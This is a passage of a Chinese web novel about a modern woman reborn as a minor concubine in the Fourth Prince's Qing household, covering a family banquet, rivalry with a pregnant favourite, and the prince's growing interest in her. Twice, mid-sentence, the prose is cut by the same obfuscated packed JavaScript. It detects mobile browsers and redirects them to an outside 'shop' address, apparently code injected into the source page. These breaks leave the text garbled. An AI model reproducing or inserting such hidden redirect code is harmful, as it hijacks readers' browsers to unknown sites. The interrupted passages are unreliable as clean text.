怪不得没听过古时候人有特别胖的,这见一个就得蹲起一下,真得心累...不知不觉间,宋时繁又开始神游天际了,就在此时,福晋发话了。 “李氏,你来的倒是早啊,叫我跟主子爷等你一个,如今有了身孕是金贵了些,竟是全然不顾规矩体统了!” 8. 家宴(下) 福晋这话一出,几个格格瞬间大气都不敢喘了,宋时繁也随大流地将头低了下去。 没办法,这时候明显就是福晋要跟得宠的李格格斗法,她们这些小鱼小虾还是尽量降低一下存在感,免得被殃及池鱼了。 李格格倒是不慌不忙地回道:“福晋赎罪,奴才方才准备出门的时候突然觉得有些不适,想起主子爷之前特意嘱咐奴才,若是有什么不舒服一定不能隐瞒,这才耽误了些时辰,倒是奴才的不是了,还望福晋不要怪罪。”说罢又娇娇怯怯地看了四爷一眼。 福晋见李格格惺惺作态气得眉心一跳,而宋时繁的心中则有些诧异。 从前宋时繁也向白薇打听过李格格的为人,说是从不惹事,对别人也客客气气的,那时宋时繁听了以后还以为李格格算是个聪明人,否则怎么会一入府就得宠,到如今也不骄不躁的,合着她那是觉得自己还没底气,所以不敢闹呢,不然怎么解释这李格格刚一怀孕就抖起来的样子呢? 宋时繁的心中浮现出一个大大的问号,于是便忍不住偷偷瞄了一眼四爷。 自己的嫡妻当众为难自己的爱妾,爱妾也不甘示弱挑衅嫡妻威严,面对这种火葬场级别的场面,不得不说,宋时繁对四爷的反应很是有些期待。 不过宋时繁想多了,这里可是规矩森严的清朝,官大一级就能压死人的好吧,更何况还是福晋对格格这种不止官大一个级别的,所以四爷当然是一点反应都没有的,仿佛不认识李格格一样。 福晋见状心中也有了些底,施施然对李格格开口道:“知道你孕中辛苦,但错了规矩不罚的话,说起来也难以服众,倘若府中众人有一个学一个以后该如何管制呢?倒叫人笑话我治家不严了,所以罚你回去后抄一百遍心经,不过念在你初有身孕,只慢慢抄来我看便是,关键是要好好静思己过!” 李格格被福晋说得几乎要落下泪来,但见四爷始终未曾开口维护于她,到底是不敢真得哭出声,只好委屈地对着福晋福身谢道:“多谢福晋的爱护,奴才知晓了。”说罢便默默入座,再不敢挑事了。 福晋也见好就收,没有再过分责难李格格。 至此,宋时繁的心中算是松了一口气,原因无他,就这一场小风波看下来,四爷是个尊重嫡妻,也注重规矩的,福晋虽然对格格们有些不喜,但好歹只是用规矩压一压人,倒不会不管不顾地责罚人,这就很好。 若是她以后的顶头上司们是个阴晴不定的性子,那宋时繁才真的是叫天天不应,叫地地不灵了呢,这样子宋时繁已经很满足了,不就是规矩吗?回头等她回去了就叫白薇将府中的规矩讲给她听,她天天抄上一遍,不信记不住! 信心满满的宋时繁食指大动,终于有心思开始干饭了。 只见桌上摆着的全是些精致好看的菜式,虽说大部分都是炖菜,但毕竟是皇室宴会好吗?(家宴也算宴),作为一个现代人,能吃上可真是太不容易了,于是宋时繁也不客气,先朝着自己面前那道罗汉大虾下起手来,当然了,其他的菜太远了她也不敢伸手够。 只吃了一口,宋时繁就瞬间变成星星眼了,虾尾被炸得鲜香酥脆、口感一绝不说,味道也是咸甜适口,其上点缀的黑芝麻更是增色不少,简直是太好吃了! 这边宋时繁沉浸在吃到美味的快乐中,主位上的四阿哥倒觉得有些稀奇。 平时在这种宴会上,几乎是没有人真得吃什么的,毕竟四爷还在上头坐着呢,底下人根本不敢放开了吃,尤其是带壳的或者有声音的东西,吃起来到底不雅观,若是再引起了四爷的反感岂不是得不偿失? 四爷也早就习惯了宴会上女人们故作矜持的样子。 所以当四爷乍然看见宋时繁吃得这么津津有味的时候自然就觉得很稀奇了,便不由自主多看了两眼,紧接着,观察力十分强悍地四爷就发现了宋时繁虽然只敢吃自己眼前的菜,但眼神却一直朝着远处那道挂炉鸭瞟呀瞟的,显然是想吃极了,又不敢夹。 “噗嗤”四爷见宋时繁那馋极了的样子没忍住笑出了声,但笑完他就察觉出不对,忙轻咳两声掩饰了过去,好在其余人虽然有些诧异,可也不敢询问四爷,倒是没发现有什么不对劲的地方。 而宋时繁就更没有发现不对了,她这会儿一心想着挂炉鸭呢,也不知道跟后来吃到的烤鸭味道一不一样呢,好想吃呀,哎,可惜太远了,不能伸筷子去夹,看来今天是吃不到了,也不知道过后去膳房点的话要花多少钱... 想到这里贫穷的宋时繁叹了好大一口气。 瞧着宋时繁一脸愁苦的样子,逗得四爷乐不可支,于是四爷想了想还是开口道:“爷尝着这道鸭子不错,福晋尝一尝如何?” 四爷此话一出,便立刻有小太监上前帮福晋夹了一片挂炉鸭放到碗里,福晋也忙尝了尝,随即笑着对四爷说道:“多谢爷挂念,确实很好吃呢。” 福晋此话一出,四爷便立刻对着宴席上的其余众人说道:“你们也尝尝吧!” 格格们便忙起身谢恩:“奴才多谢主子爷!”宋时繁也跟着谢恩,但心里激动已经得不行了:居然可以吃到挂炉鸭了耶!还是免费吃到的!四舍五入就是赚了一个亿! 所以跟着一起谢恩的宋时繁这次倒是谢得十分有真情实感。 而四爷听着宋时繁谢恩时那温柔地快滴出水一样的声音,觉得有些好笑,一块鸭子竟就能收买宋氏了?真是个眼皮子浅的!想到这里,四爷不禁摇了摇头,但他眼中的笑意却出卖了四爷的真实想法。 众人不知道四爷在高兴什么,但主子爷心情好她们也都跟着笑,倒是福晋适时开口:“还未恭喜爷呢,爷此次随着皇阿玛亲征葛尔丹立下了不小的战功!皇阿玛都赞爷勇武,妾身敬爷一杯酒,庆祝爷得胜归来。” 四爷倒是很给福晋面子,端起杯子便满饮了一杯酒,喝完才说道:“福晋夸张了,此次是因为皇阿玛亲征才能平定祸事,还有大哥他们在前,爷只不过是跟在后头学着罢了,是皇阿玛疼爱孩子们才这么说的,倒叫福晋夸耀了。” “不管怎么说,四爷如今是皇阿玛亲封的贝勒爷了,今日家宴也是为了庆贺此事,这样高兴的日子,爷可不能推拒,得要再喝一杯才是呢!”福晋见四爷给面子,笑吟吟地说道。 四爷闻言便不再谦虚,真得又喝了一杯,其实四爷心中也是很高兴的,他还如此年轻便上了战场有了军功,又得皇阿玛夸奖,以后便是郡王也是可以想一想的,有了爵位日后也就不愁了,此时容易满足的四爷绝对想不到他以后不仅做了亲王还成为了大清的主人呢。 不过,这都是后话了。 当下武格格也举起酒杯来,笑得娇俏无比:“主子爷和主子福晋夫妻如此和乐,是奴才们的一大幸事呢,奴才不会说话,便喝了这一杯,祝主子爷和福晋从此恩爱美满、举案齐眉。”说完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13045505|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便将杯中酒一饮而尽。 宋时繁又一次被武格格地长袖善舞给震惊了,按说这时候是没有格格们说话的份儿的,但人家就是敢带头站起来说话,还说得这么恰到好处,说得顶头上司更加开心了,没见福晋看武格格的眼神都慈和了不少。 这武格格要是投身现代,肯定也能混得风生水起,只在后院里当个小妾真是屈才了,宋时繁一时间感慨万千。 而一旁的李格格见武格格得了四爷的笑脸又有些耐不住寂寞了,于是也拿起酒杯期期艾艾地对着四爷道:“奴才贺喜四爷得封贝勒爷...” 只不过她的话还没说完就被四爷给打断了:“你还有着身孕,酒就别喝了。”说完也不管李格格什么反应,又转头去继续与福晋说话。 李格格只好就这么不尴不尬地自己坐下了。 没错,四爷就是在故意下李格格的面子。 虽然四爷确实喜欢李格格温柔小意的样子,而且李格格肚子争气,有了身孕,四爷也期待这个孩子,可说到底,四爷还很年轻不是吗,孩子总是会有的,真心不差李格格这一个。 所以如果李格格仗着有身孕又得宠就想要为难嫡福晋那就是实实在在地踩到四爷的雷点上了,从四爷不阻止福晋责罚李格格就能看出来一二,这会子李格格又不懂规矩,四爷便不想给李格格留什么面子了。 宋时繁在一旁看得心下摇头,这李格格未免太蠢了些,不痛不痒地刺一下福晋又能怎么样呢?这会子不是应该好生安胎,将孩子健健康□□出来才是要紧事吗? 哎,真的不知道李格格何必如此,不过宋时繁转念又想到这李格格以后会成为侧福晋,日后还是齐妃,便又觉得事情有些诡异了,难不成四爷就喜欢美丽又愚蠢的人设?这还真是...不知道如何说好了。 一顿饭终于结束,可把宋时繁累坏了,等到终于送走了四爷和福晋以后,宋时繁才慢慢出了延庆阁,只见白薇早已经等在了延庆阁门口,宋时繁心中一暖,脸上便荡出笑意来:“怎么在这里等,冷不冷?” 白薇忙上前扶住了宋时繁,替宋时繁拢了拢披风,又将一个温热的手炉递给宋时繁,才开口道:“回格格话,奴才怕格格出来找不见奴才,所以便等在了这里,奴才不冷的。”一边说着一边扶着宋时繁往回走去。 宋时繁今日算是把府中众人见了个遍,总得来说还算不错,李格格虽然喜欢找事,不过都是小打小闹的,福晋也算和蔼,武格格是个难得的聪明人,只是郭格格过于沉默寡言了,一整顿饭下来竟是一个字都没开过口,但也一点错处都没有就是了,不知道这郭格格是老实过了头还是... 但好歹宋时繁心里对府中众人大致都有了个印象,以后再碰见也知道该怎么做,这就已经很好了。 回到院子里的时候,宋时繁先去了西厢。 没办法,宋时繁毕竟初为人母,才这么一会没见到大格格她心里就已经想念得不行了。 到了西厢以后,宋时繁发现大格格已经被奶娘哄睡了,这两个奶娘也负责得很,原先的赵氏守在摇篮边时刻关注着大格格,新来的周氏正坐在桌子边给大格格缝肚兜呢。 宋时繁一进去便示意奶娘们不要行礼,免得吵醒了大格格,而她自己则先去火盆边上烤了烤,将寒气驱散了以后,才走到大格格近前,倚在摇篮边看了看小家伙的睡颜,确定没事以后这才放心地回到了正屋。 9. 请安风波 时间一晃而过,很快就要到大格格百天的日子了。 当初大格格刚生下来的时候,因为宋时繁还昏迷着,大格格又很羸弱,所以四爷发话洗三和满月就先不办了,说是怕吓到大格格,对此宋时繁也没有异议,毕竟以大格格当时的身体情况来看,确实是不适合过早地接触外人。 可转眼,大格格就要三个月了,即将满百天,但宋时繁掰着手指头算了算,大格格百天的时候,正好是在过年期间,府上怕是也不会给大格格庆祝了。 果不其然,这日宋时繁来给福晋请安的时候,福晋就提到了大格格百天的事情。 “大格格洗三和满月都没办,按说百天是该热闹热闹的,不过这日子倒是赶巧了,那段时间我跟主子爷都得进宫给皇阿玛和德额娘拜年,可若是将日子提前或推后也终究没什么意思,宋氏你说呢?” 宋时繁听见这话哪里不明白福晋的意思呢,那就是不愿意为着个小格格在过年期间还给府上增添麻烦了。 好在宋时繁本身也不在乎这些,于是利落地起身对着福晋行礼:“福晋说得是,主子爷和福晋这是体恤大格格身子弱呢,都是心疼大格格才这样的,大格格若是知道了她嫡额娘待她的一片苦心,心中还不知会如何感恩呢!” 福晋见宋时繁知趣便也露出个真心的笑来:“你呀,总是这样懂事有礼,府里的格格就你最知道我和主子爷的心。” 福晋这话倒是让宋时繁有些如芒在背,毕竟谁都知道宋时繁是府上最不得宠的格格了,这句话说出来初听倒是没什么,可细细一琢磨却没得叫人笑话了。 福晋这也太爱拿规矩弹压妾室了,一句话说完了宋时繁听着不舒服还只能谢恩,又顺带着刺激了一下别的格格们,真是叫人没法说理去,宋时繁不由在心中腹诽了两句,但面上却什么都没露出来,只冲着福晋笑了笑就又坐回去了。 可宋时繁坐得住,有人却坐不住了。 李格格本就是个得宠的,这会孕中情绪也不稳定,叫福晋一句话刺得当即就出声讥讽道:“宋姐姐入府早,自然是最得爷宠爱的,只是不知福晋才入府不久,竟也喜欢上宋姐姐来,不知道地还以为宋姐姐天生就讨人喜欢呢,那奴才以后可得多去宋姐姐那儿转一转了,保不齐还能沾沾宋格格的福气,叫爷和福晋都喜欢喜欢奴才呢。” 福晋也不客气,将茶碗撂下就斥道:“多去宋氏身边转转也好,你也确实该跟宋氏好好学学什么叫恭顺柔婉,再说了,你去得多了,也学着宋氏那样,给主子爷生下个活泼可爱的小格格,别说主子爷高兴,我都是要好好赏赐你的。” 福晋一番话说得李格格脸色青白不定,想反驳却也不能再说什么了。 毕竟嫡福晋还没生下儿子呢,她一个小格格断然不敢说什么想生儿子的话,否则那就是心大了,到时候还不是正好给了福晋责罚她的机会,于是气急了的李格格虽然不敢再对福晋如何,反倒是狠狠瞪了宋时繁一眼。 宋时繁莫名其妙被李格格瞪了一眼,真是有些欲哭无泪了,天啊,你们两尊大佛斗法,怎么都愿意拿她做筏子呢,难不成她脸上就写了柔弱可欺四个字?好吧,如果按照长相来说,确实是有些... 这边宋时繁还在苦大仇深中,福晋已经不耐烦和她们这些格格坐在一起了,于是一挥手便打发她们退下了。 可当宋时繁回到自己小院的时候,就听白薇来说李格格那边传太医了。 “怎么回事?刚才请安的时候我看她还好好地,怎么这会又急吼吼叫上太医了?”宋时繁有些奇怪。 白薇闻言也摇了摇头表示不清楚,“奴才也不知道是怎么一回事,只听说李格格一回去就嚷嚷着肚子疼得受不了了,都闹到前院主子爷那里去了,这会应该是请太医去了,也不知道情况如何...” 宋时繁有些无语了,得,还真是仗着有孕在争宠呢,甚至还想借着肚子给福晋脸色看,天哪,真不知道这李格格在想什么,怀孕可就十个月,这会子要是把福晋得罪死了,以后还能有什么好? 而李格格院里,四爷也是真得有些生气。 只见李格格虽然躺在床榻上直喊疼,但面色红润,根本就不像是有病的样子,还有心情拿眼神勾引自己,于是四爷就怒了,但李格格毕竟还有孕,四爷也不好直接冲着她发火,只能把怒气都冲着太医。 太医也是倒霉,一大早就被四爷府上的人急急忙忙喊过来,早膳都没来得及用,本来还以为是李格格这边出了什么大事,谁知道来了以后一把脉什么病情都没有不说,还得承受着四贝勒爷的怒火,太医也很冤枉的好不好。 太医斟酌了许久才忐忑地回答道:“回禀四爷,格格的胎已经满了三个月,再加上格格的身体本就康健,从脉搏上来看胎像十分稳固,至于格格一直喊疼...约莫...约莫是孕中多思的缘故吧?格格毕竟是初初有孕,可能是太过紧张导致的也说不定。” 四爷一听这颠三倒四的话就知道李格格这是什么事情都没有,于是四爷看着李格格的目光就越发不善了。 这边李格格也知道自己玩大了,本想着让四爷知晓一下自己在福晋那里受了委屈,谁知竟然适得其反了,于是也不敢再喊疼了。 四爷忍了又忍,心说李氏从前也不这样,看来真是怀个孕倒把她的心给养大了。 所以四爷觉得自己有必要警告李格格一番,他当即便对着李格格的贴身丫鬟随喜和随乐开口道:“你们这些狗奴才不能好好规劝主子孕中胡闹,都该罚!苏培盛,去将李氏身边的丫鬟全都打五个板子,看她们以后还敢不敢再犯!” 四爷说完便转身离开了李格格屋子,一句话都没再留下。 李格格看着四爷离去的背影心中一阵绞痛,这时候她是真得有些不舒服了,但也不敢再说了就是,李格格不明白,明明四爷之前算是很宠爱她了,这会子她还怀着身孕呢,怎么就能对她如此狠心呢? 而另一头出了李格格院里的四爷被冬日里的冷风一吹火气倒是降下来了一些,但心里对李格格还是忍不住地失望,觉得自己从前对她的宠爱竟是白费了。 想到这里四爷又不自觉地想起了宋格格,从前宋格格怀孕的时候就安安静静地,哦不,她这个人本身就安安静静地,从不找事,是个懂规矩的,于是四爷便朝着懂规矩地宋时繁那里迈开步子了。 不过当四爷看见披散着头发,衣服也没穿好,窝在榻上的宋时繁时,眉心还是狠狠地跳了一下。 这次真心不怪宋时繁,谁能想到四爷前一秒还在李格格的院里,后一秒就突发奇想来了宋时繁这里呢? 凑巧宋时繁觉得早上去请安的时候起得实在太早,一回来又被屋子里的火炉烤暖和了,整个人就困得不行,便让白薇给自己解了头发,歪到了榻上。 还正好赶上大格格饿了要吃奶,宋时繁想着屋里也没别人,便让白薇将孩子抱来,直接在榻上喂了起来,等大格格喝完奶以后被奶娘抱去西厢了,宋时繁又懒怠起来,也没想着整理一下,反而顺势又歪倒下去,闭着眼睛养神。 四爷就是在这种情况下毫无征兆地进了屋,可不就将宋时繁的懒散样子看了个正着。 宋时繁发觉四爷进了屋子的时候,忙将自己头发拢了拢,又将衣服合上,但再怎么掩饰,还是叫四爷把该 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这也是可以理解的,毕竟从前跟四爷有过肌肤之亲的人乃是原先的宋氏,而现在的宋时繁还是个黄花大闺女呢,也怨不得她害羞。 等四爷看完大格格回来以后,又拐进了宋时繁的屋子里。 好在此时的宋时繁已经让白薇将自己都收拾好了,总算可以见人了,所以当四爷进来的时候宋时繁端庄地不得了,还假装什么都没发生一样,给四爷倒了杯茶递过去,不过宋时繁的耳朵尖上一抹淡淡的粉红却出卖了她当下的心情。 眼尖的四爷自然也注意到了,但是他没有拆穿,本来嘛,宋格格已经害羞成这样了,再说出来宋格格肯定又要逃走了。 于是四爷心情很好地接过了宋时繁递上来的茶水喝了起来。 等欣赏够了宋时繁害羞的模样,四爷才悠悠开口道:“爷刚刚瞧了大格格,你照顾地不错。” 提到女儿宋时繁心里没那么别扭了,脱口就道:“是太医的法子好,大格格如今喝着母乳,营养跟上来了,自然就好多了。”刚说完宋时繁就恨不得给自己一个耳光,提什么不好偏偏又提起来这件事! 四爷见宋时繁又害羞起来心下暗笑,但还是给面子地说:“还是你费心了的缘故,不过大格格百天的时候爷要跟福晋进宫,府里怕是办不了了,你心里别觉得委屈。” 宋时繁本来就不委屈,于是忙回道:“今天早上福晋已经说过此事了,大格格还小呢,不在意这些的。” 四爷点了点头,本想顺着宋时繁的话接下去,但又想到府上人向来是拜高踩低的,大格格百天再不办旁人还只当爷不重视这个孩子呢,回头再有苛待的事也不好。 于是四爷想了想还是说:“其实倒也无妨,总归只有爷和福晋要进宫,到时候你若想热闹在自己院子里办一桌也是成的。” 宋时繁被弄得有些摸不着头脑,刚不是还说不办吗?这会子怎么又要办了?但还是客气了一下:“多谢主子爷想着,不过...” “不必担心,爷到时会吩咐下去的,你只管热闹你的,等大格格周岁的时候,爷再好好给她庆贺一番。”四爷见宋时繁还想拒绝,以为宋时繁是怕不合规矩,心下更觉得宋时繁听话懂事,便不让她继续说下去,直接拍板将此事定下来了。 宋时繁完全不知道四爷脑补了什么,但她觉得自己还是不要解释得好,于是便低头不说话了。 而这会子四爷看着宋时繁乖巧的模样是怎么看怎么顺心,比刚一怀孕就闹起来的李氏不知道顺眼了多少,于是当即发话,今天就待在宋时繁院子里,不走了。 宋时繁...宋时繁已经无话可说了。 10. 单独相处 今日四爷恰逢休沐,既然已经决定要待在宋时繁这里了,四爷也不扭捏,毫无心理负担地坐上了宋时繁刚刚依着的榻上。 宋时繁看着老神在在的四爷,心中犹如万马奔腾,偏偏面上还不能显露出来,便拿眼睛去瞅白薇,希望白薇能帮自己解围,比如找个借口喊自己出去什么的。 可白薇这个傻丫头,根本看不出来宋时繁是什么意思,见宋时繁不停地眨眼睛,还以为宋时繁眼睛不舒服,忙上前关切地问道:“格格您眼睛不舒服吗?”。 宋时繁简直要被白薇超长的脑回路给打败了,咬牙切齿道:“是啊,我...真...是...特...别...不...舒...服...呢!” 恰在此时四爷也注意到了宋时繁怪里怪气地小模样,于是四爷嘴角含着一抹笑意打趣道:“你们主仆两个这是在打什么眉眼官司呢?说出来让爷也听一听。” 宋时繁尴尬地朝着四爷假笑了两声,脑子里飞快旋转着,想要找一个借口出来,终于,宋时繁想到了:“四爷,您先忙,我估摸着大格格恐怕是饿了,我得去瞧瞧了,大格格见不着我指定得哭呢。”说完转身就想溜走。 还没等四爷反应过来,白薇就先拦住了宋时繁,有些疑惑道:“格格,您不是刚刚喂过大格格吗?大格格没这么快饿呢,” 宋时繁一时想不出别的借口了,但仍企图垂死挣扎,于是便支支吾吾开口道:“我好像...貌似...听见,对,我好像听见大格格哭来着,我还是得去看看,不然我不放心。”说完还凶狠地瞪了白薇一眼,不许白薇再开口,然后头也不敢抬地飞速溜走了。 白薇见自家格格逃走了,又去瞧四爷的脸色,见四爷面上仍含着笑,似乎没有生宋格格的气,心下略放心了些,便对着四爷福了福身道:“那奴才先告退了。” 四爷不在意地挥了挥手,示意白薇离开,但又想到了什么,“你去吧,哎等等,去把苏培盛叫过来。”白薇闻言点了点头,忙退出去了。 等白薇去到西厢的时候,就见奶娘们已经把大格格哄睡着了,而自家主子则摊坐在椅子上,用手支着下巴发呆呢。 白薇叹了口气:“格格您在这里做什么呢?” 宋时繁听见这话白了白薇一眼:“你还好意思问我?刚刚给你使眼色,你为什么不帮我?” 白薇有些不明所以:“格格,您不喜欢四爷来吗?从前四爷来的时候您都可高兴了,这会子怎么?” 宋时繁不知道该怎么跟白薇解释,难道说她其实根本没谈过恋爱,也完全不知道怎么单独跟四爷相处? 所以说不出原因的宋时繁只得把脸转向了另外一边,不想再看到白薇,“啊呀!我跟你说你也不明白,总之我现在不想跟四爷在一块了。” 白薇却不愿意轻易放过宋时繁,她又绕到另一边,来到宋时繁眼前,苦口婆心道:“格格!您就算不想想自己,也得考虑考虑大格格吧?若是她小小年纪便失了主子爷的心,以后被送去抚蒙了可怎么办呀?” 宋时繁听见这话心中一惊,是啊,真是该死,她怎么又犯糊涂了,现在可是在清朝,貌似历史上康熙的女儿几乎都被送去蒙古了,也几乎都是早亡,很少有寿终正寝的时候。 她又想到历史上宋氏的女儿都没活下来,雍□□上的大格格是李氏生出来的,虽然由于她的到来就像是蝴蝶煽动翅膀一样,使历史有了一些细微改变,但也正因为如此,所以连她这个从未来穿越过来的人也不知道大格格未来的命运。 所以白薇说得话很有道理,看来,她真的不得不认真考虑一下争宠的事了,最起码要让四爷把大格格放在心上,到时候若真要选人去抚蒙,最起码也不能是她的女儿,说她自私也好总之她舍不得。 想到这里宋时繁不再犹豫,站起身就朝四爷待着的屋子里去了。 一进门宋时繁就懵了,不为别的,因为她的屋子已经焕然一新了,整个屋子里的摆设几乎全都换新了,连床帐子都换了一遍,还有几个太监正搬着一张书桌往屋子里抬,而四爷则站在窗边拿着本书在看。 宋时繁简直要呆了,连自己是来干什么的都忘记了,甚至还怀疑她是不是走错了,“这...这是在做什么呢?” 此时,听见宋时繁声音的四爷抬起了头朝着宋时繁所在的方向看了过来:“宋氏,到爷身边来。” 宋时繁上前犹豫了下还是开口道:“四爷,这,屋子...您是要?” 站在一旁的苏培盛忙解释道:“回宋格格的话,主子爷既然今儿要留下,那奴才们自然是不敢马虎的,按照主子爷往日里的习惯,这会子要看书练字的,所以主子爷便让奴才给您这里置办一张书桌,其他的东西也都是主子爷的意思,宋格格,这是主子爷想着您呢!” 宋时繁一听就明白了,合着是这位大爷舍不得委屈他自己,又做了个顺水人情顺便给她屋子里换了陈设。 不过不管怎么说,占了便宜的总归是她宋时繁,于是宋时繁也不矫情,利落地朝着四爷行礼谢恩:“多谢爷了。”说完便开始打量起新家具来,心里由衷地高兴了起来。 四爷见宋时繁果然高兴,嘴角也悄悄弯了弯。 一旁的苏培盛见状心中纳罕:嘿,这可真是稀奇,万年不露头的宋格格竟也叫主子爷记在心上了嘿!但苏培盛面上却不敢显露出分毫,反而恭敬道:“主子爷,快到用午膳的时间了,奴才这就去安排安排?” 四爷却不以为意地摆手道:“不用,就叫你...叫宋格格去点膳吧!”四爷想得简单,平时府上格格们的份例就那些东西,今日有他在这里,膳房肯定会用心做,所以就叫宋格格去点些她喜欢吃得,她肯定会更高兴的。 宋时繁确实高兴了,四爷的意思岂不是她想吃什么就能吃什么了?没想到四爷来自己这里居然还有这种好事,要知道这些日子她都快馋死了,于是好不容易忍住欢呼欲望的宋时繁,脚步还是控制不住透露着雀跃跟苏培盛出去点膳了。 到了屋外以后,宋时繁犹豫了下还是先问了一嘴:“苏公公,真的是我想点什么都可以吗?能不能多点两个菜?” 苏培盛闻言就笑了:“宋格格您说笑了,主子爷既然发话了叫您点,自然是您想点什么都可以的,宋格格您尽管吩咐奴才就行...” “那先来个八宝鸭,一道姜汁鱼片,啊呀有点想吃麻辣蹄筋了,可惜我现在还吃不得这个,那就再加一个杏仁豆腐,一份炒时蔬,嗯...苏公公,我能再加两道点心吗?我想尝尝你们这里的点心,一直还没机会吃呢。”不等苏培盛把话说完,宋时繁已经报出来一连串菜名了。 苏培盛也没想到宋时繁如此实在,竟都不问问主子爷喜欢吃什么,还真点起了自己爱吃的。 一般四爷后院里的这些格格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13045507|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们就算得了主子爷殊荣可以点菜,却也绝对不敢这么放肆,一点儿不管主子爷想吃什么,只想着自己,真不知道这宋格格是真性情还是傻。 但宋时繁敢忽略主子爷,苏培盛可不敢,于是他想了一会儿开口问道:“宋格格想用什么点心?” 宋时繁思考了下说:“想吃豆沙卷和烧麦,甜的咸的都有,这下齐活了!” 苏培盛闻言点了点头,心说这宋格格还挺会吃,但紧接着他又赔笑道:“还是宋格格想得齐全点,平时奴才们可真没有这么周到,只知道给主子爷点他常吃的那几道菜,什么红烧里脊、炙烤羊肉的,想必主子爷肯定是吃腻了呢。” 宋时繁一听就知道苏培盛这是在提点自己四爷喜欢吃什么呢,既然苏培盛肯卖她这个面子,宋时繁也很上道,忙开口:“苏公公这么说话就太客气了,不过刚刚听公公说的那几道菜我也有些心痒痒,想常常平时主子爷爱吃的呢,希望苏公公不要笑话我。” 苏培盛见宋时繁一点就通,也乐意跟聪明人打交道,于是拱手谦虚道:“宋格格这话才是折煞奴才了,奴才不敢当呢,奴才这便去膳房叫膳,格格您快进去陪主子爷吧!” 宋时繁知道这会子躲不过也不能朵,只得转身往屋里去。 刚进屋,宋时繁就发现四爷换地方了,正坐在新搬来的书桌前看书。 宋时繁慢慢挪着步子朝书桌前走去,四爷听见动静抬头看见宋时繁就随口问道:“点好膳了?” 宋时繁闻言福身行礼:“回禀主子爷,已经点好了,一会就能用膳了。” 四爷见她别扭的行礼动作有些忍俊不禁,随即想了想:“你这规矩学得不好,从前倒是不觉得...” 四爷话还没说完,宋时繁的身体已经立刻紧绷起来了,生怕四爷下一句要就说出什么重新学规矩之类的话,再不济四爷若是再聪明一点,直接怀疑她是冒名顶替了宋氏,也够宋时繁喝一壶的了。 四爷倒还真没想那么多,只觉得反正宋格格平时都在后院里,规矩差点就差点吧,总归别人也看不见,而且自己一句话,宋时繁便紧张起来,看着可怜得紧,自己便多包容些她吧,于是四爷开口道:“罢了,规矩不好也不是什么大事,你懂事就好!” 听见这话,宋时繁心下松了一口气,没想到四爷对待自己后院里的人竟然宽容得很,看来她以后的日子不一定会难过嘛,想到这里宋时繁便朝着四爷抿嘴笑了笑。 四爷被宋时繁的笑脸勾得心中一动,心想这宋氏,还真是惯会扮可怜勾引爷,于是四爷大手一挥:“瞧这可怜兮兮的样儿,过来爷身边吧!” 宋时繁听话往前挪了两步,刚到四爷近前,就被四爷一手拉进怀里,宋时繁整个人都僵住了,四爷还犹不自知,只当宋时繁是害羞了,还指着书上的内容问道:“识字吗?” 宋时繁被这话将注意力都吸引了过去,也顾不上紧张了,从四爷怀里探出头来瞅着书上的字,可惜...几乎啥也看不懂。 宋时繁原本以为她好歹在现代念了那么多年书,就算穿到了古代也不能真成了文盲吧?但可惜宋时繁只是四爷府上的格格,平时没什么机会能接触到文字之类的东西,所以一直也不知道自己在清朝的水平怎么样。 不过今天她算是彻底认清自己了,但认清之后,她心里更迷茫了,得,这下不仅穿成了小妾,如今还是个文盲了。 11. 上心了 成了文盲的宋时繁深深叹了一口气,四爷被宋时繁忧愁的样子逗得不行,笑问道:“如何?认识还是不认识呀?” 听到四爷又问了一遍,宋时繁只能硬着头皮回答,“我认识他们,但他们好像不认识我...” 四爷闻言一愣,随即挑着眉看向宋时繁,不明白她说的这话是什么意思,等反应过来以后四爷的唇畔便荡出了一层笑意,没忍住用手点了点宋时繁的鼻子,开口道:“怎得如今变得这样促狭了?” 宋时繁转过头去悄悄在四爷看不见的地方吐了下舌头,心说明明是你们这些清朝人不懂我的幽默罢了,就是不知道原先的宋氏读过多少书,神佛保佑,可千万别穿帮了才好。 不过这次宋时繁倒是多虑了。 一来,原先的宋氏和四爷之间的交流真心算不上多,虽然孩子都生了两次,可实际上根本没说上过几次话,从前四爷也就是晚上有需要了才会来宋氏这里,第二天一早就走了,完全不存在有什么谈心的环节,所以四爷对原先的宋氏没有太多的了解,只知道是个话不多的乖巧性子。 当然了,这也确实不全是四爷的原因,这时候的女子地位本就不高,不像现代两个人谈恋爱大多时候都在交心,但在清朝,若是福晋和侧福晋还能算一号人物,可一个格格在皇子看来,真就是个物件了,谈不上了解不了解的。 而且这个时代对女子有诸多要求,又普遍都认为这时候女人应该以贞静为美,所以一般都养在深闺里,而宋时繁出身汉军旗包衣,家里本就艰难得很,父母更不会注重对女孩子的教导了,所以宋时繁说她不识字四爷还觉得很合理,丝毫没有怀疑。 不过四爷既然起兴致问了,就肯定是不会善罢甘休的,既然宋时繁说她不会,那四爷就准备亲自教一教宋氏。 这时候的四爷虽然还年轻的很,但架不住康熙爷女人多还能生,所以四爷底下有很多的弟弟妹妹们,而四爷自诩自己排行比较高高,算是兄弟们中年纪大的了,所以四爷平时对待弟妹们都是端着一副沉着冷静的面庞,若是弟妹们有什么事也免不了会念叨两句。 由此可见四爷是有些好为人师在身上的,当然了说好听点就是少年老成。 于是这会子四爷就牵过宋时繁的手开始了教学时间。 